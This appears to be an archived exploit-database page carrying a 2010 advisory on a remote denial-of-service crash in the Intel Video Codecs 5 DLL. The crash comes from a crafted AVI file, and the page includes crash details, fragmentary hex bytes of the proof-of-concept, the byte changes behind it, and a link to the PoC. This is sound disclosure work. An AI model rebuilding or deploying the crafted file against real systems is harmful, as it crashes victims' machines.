|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  ExploitAlert Database |
||
ExploitAlert : 8942 Credit : Matthew Bergin Date : 04.09.2010 Exploit Code : Intel Video Codecs 5 Remote Denial of Service Author: Matthew Bergin Website: http://berginpentesting.com/ Email: matt@berginpentesting.com Date: August 27, 2010 Filename: ir50_32.dll Version: 5.2562.15.55 Description: A remote user can cause denial of service conditions on remote hosts by embedding a specially crafted AVI file into an HTML page. The included PoC will also cause crash conditions locally if viewed by My Computer. Application Events Notice: Faulting application explorer.exe, version 6.0.2900.5512, faulting module ir50_32.dll, version 5.2562.15.55, fault address 0x00002897. Crash Instructions: MOV EDI, DWORD PTR DS:[EDX+EDI*4-4] <- Crash Here MOV AH, AL AND CH, 0C0 CMP CH, 40 JE ir50_32.738727C3 Crash Registers: eax 00030026 ecx 00000DEA edx 02b80004 ebx 00000001 esp 0849f420 ebp fb202196 esi 05d5fe4c edi 7ecc7dc7 eip 73872c52 Reproduction PoC File: Addr : 0 1 2 3 4 5 6 7 8 9 A B C D E F 2090h: F3 2C 00 7E 12 C8 71 2D 88 F8 BC CF DD 6F F8 E0 ó, .... 20B0h: B1 97 C5 F3 79 29 F0 41 92 71 0D C0 7E 73 F1 EC ±â��Ã�óy)ðAâ�ᦙ 3;q Ã�~sñì .... 2120h: CE 87 8E C3 10 FA 17 49 86 E7 E1 23 33 AC F1 89 Ã�â�¡Å½Ã�úIâA 533; çá#3–â�° .... 21E0h: 37 FA 7F 3F 16 F7 D7 CF 39 CF 0F F1 94 C0 C0 34 7ú�?÷Ã�Ã�9Ãʏ 33;ñâ��Ã�Ã�4 .... 2460h: C5 DA 58 81 C0 51 19 68 14 11 28 D8 ED 02 18 C2 Ã�Ã�XÂ�Ã�Qh(Ã� 95;Ã� .... 2540h: F8 60 D9 21 02 42 42 FA 74 99 05 24 7C D8 9F 3A ø`Ã�!BBútâ�¢$|Ã� 7;¸: .... 25B0h: 0E 0F 1F 53 3E 26 C3 A3 10 3E E5 E7 8F C2 37 16 S>&Ã�£>åçÂ�Ã�7 .... 2680h: DB 32 EA 10 98 57 AB 88 0B 24 C4 4D 4A 28 7F 9B Ã�2êË�W«Ë� $Ã�MJ(&# 65533;â�º .... 3380h: C8 93 FE 31 51 32 1C A1 57 E2 F0 F9 27 16 43 F9 Ã�â��þ1Q2.¡Wâð& #195;¹'.Cù .... 33B0h: 3E FB 73 25 C3 A3 B8 9B 33 BF FE C1 AF CA FF 3F >ûs%Ã�£¸â�º3¿þ&# 195;�¯Ã�ÿ? .... Cause: while reversing the format, i found the size of the data section of LISTHEADER list[3] was showing a null value, after further review of the data which was said to not be included in the file i found several differences. These differences can be directly linked to the very reproducible crash which the poc provides. LISTHEADER list[3] in the sample is at 7F4h and the size is 3FCB52h LISTHEADER list[3] in the poc file is at 7F4h and the size is 0h genericblock gb[0] char data[18448] char data[6291] = -49 genericblock gb[0] char data[18448] char data[6327] = -20 genericblock gb[0] char data[18448] char data[6438] = -15 genericblock gb[0] char data[18448] char data[6220] = 22 genericblock gb[0] char data[18448] char data[7594] = 31 genericblock gb[0] char data[18448] char data[7260] = -64 genericblock gb[0] char data[18448] char data[7488] = 116 genericblock gb[0] char data[18448] char data[7594] = 31 genericblock gb[0] char data[18448] char data[7807] = -120 PoC: http://www.exploit-db.com/sploits/IntelVideoCodecs5RemoteDenialofService.ra r  Feedback : If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com. |
||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |